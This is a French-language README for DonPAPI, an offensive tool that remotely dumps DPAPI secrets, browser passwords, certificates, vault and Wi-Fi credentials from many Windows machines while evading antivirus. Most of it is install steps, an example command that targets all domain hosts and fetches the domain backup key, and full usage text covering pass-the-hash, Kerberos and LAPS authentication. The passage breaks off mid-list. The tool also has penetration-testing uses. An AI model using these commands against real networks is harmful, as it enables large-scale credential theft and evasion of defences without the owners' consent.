
Dump automatisé de credentials à distance pour environnements Windows, extrayant les secrets DPAPI, les identifiants de navigateur, les certificats et les fichiers de configuration avec évasion de défense intégrée et un visualiseur de butin basé sur le web.
DonPAPI automatise le dump de secrets à distance sur plusieurs ordinateurs Windows, en intégrant l'évasion défensive.

Identifiants collectés :
Nous avons donné une conférence en français sur DPAPI intitulée DPAPI - Don't Put Administration Passwords In 🇫🇷 :
Cet outil doit être installé avec pipx ou dans un environnement virtuel dédié
pipx install donpapi
ou (avec les derniers commits)
pipx install git+https://github.com/login-securite/DonPAPI.git
ou (pour développer)
git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI
pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...
Dump d'informations pertinentes sur des cibles compromises sans détection antivirus. Version: 2.0.0
positional arguments:
{collect,gui} Action DonPAPI
collect Dump les secrets sur une liste de cibles
gui Lance un serveur Flask pour parcourir la base de données DonPAPI
options:
-h, --help affiche ce message d'aide et quitte
-v Niveau de verbosité (-v ou -vv)
-o DIRNAME, --output-directory DIRNAME
Répertoire de sortie. Défaut : ~/.donpapi/loot/
Cette action est utilisée pour collecter les secrets sur les cibles spécifiées avec -t.
usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
[-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
[-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
[--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]
options:
-h, --help affiche ce message d'aide et quitte
--keep-collecting seconds
Relance l'attaque contre toutes les cibles après X secondes, X étant la valeur
--threads Number of threads
Nombre de threads (défaut : 50)
--no-config Ne pas charger le fichier de configuration donpapi (~/.donpapi/donpapi.conf)
authentication:
-t TARGET [TARGET ...], --target TARGET [TARGET ...]
la ou les IP(s), plage(s), CIDR(s), nom(s) d'hôte, FQDN, fichier(s) contenant une liste de cibles, ALL pour récupérer
tous les noms d'hôte des ordinateurs depuis LDAP
-d domain.local, --domain domain.local
Domaine
-u username, --username username
Nom d'utilisateur
-p password, --password password
Mot de passe
-H LMHASH:NTHASH, --hashes LMHASH:NTHASH
Hachages NTLM, format LMHASH:NTHASH
--no-pass ne pas demander de mot de passe (utile pour -k)
-k Utiliser l'authentification Kerberos. Récupère les identifiants du fichier ccache (KRB5CCNAME) en fonction des paramètres
de cible. Si des identifiants valides ne peuvent être trouvés, ceux spécifiés en ligne de commande seront utilisés
--aesKey hex key Clé AES à utiliser pour l'authentification Kerberos (128 ou 256 bits)
--laps Administrator Utiliser LAPS pour demander le mot de passe administrateur local. La valeur du paramètre laps est le compte administrateur
local utilisé pour la connexion
--dc-ip IP address Adresse IP du contrôleur de domaine. Si omis, la partie domaine (FQDN) spécifiée dans le paramètre de cible sera utilisée
-r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
Chemin du fichier de récupération. S'il est utilisé, les autres paramètres seront ignorés
attacks:
-c COLLECTORS, --collectors COLLECTORS
Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (tous les
précédents) (défaut : All)
-nr, --no-remoteops Désactiver les opérations distantes (essentiellement pas d'opérations sur le registre distant, pas de credentials système
DPAPI)
--fetch-pvk Utilisera automatiquement la clé de sauvegarde de domaine depuis la base de données, et si elle n'est pas déjà dumpée, la
dumppera sur un contrôleur de domaine
--pvkfile PVKFILE Fichier pvk avec la clé de sauvegarde de domaine
--pwdfile PWDFILE Fichier contenant username:password qui sera éventuellement utilisé pour déchiffrer les masterkeys
--ntfile NTFILE Fichier contenant username:nthash qui sera éventuellement utilisé pour déchiffrer les masterkeys
--mkfile MKFILE Fichier contenant les correspondances {GUID}:SHA1 des masterkeys
L'authentification fonctionne en spécifiant un domaine avec --domain, un nom d'utilisateur avec --username, et éventuellement un mot de passe avec --password, un hachage avec --hashes, une clé AES avec --aesKey ou un ticket Kerberos au format ccache avec -k (style Impacket).
Vous pouvez également vous authentifier via LAPS sur l'ordinateur avec --laps et le nom du compte LAPS local comme valeur de ce paramètre.
Par défaut, DonPAPI collectera :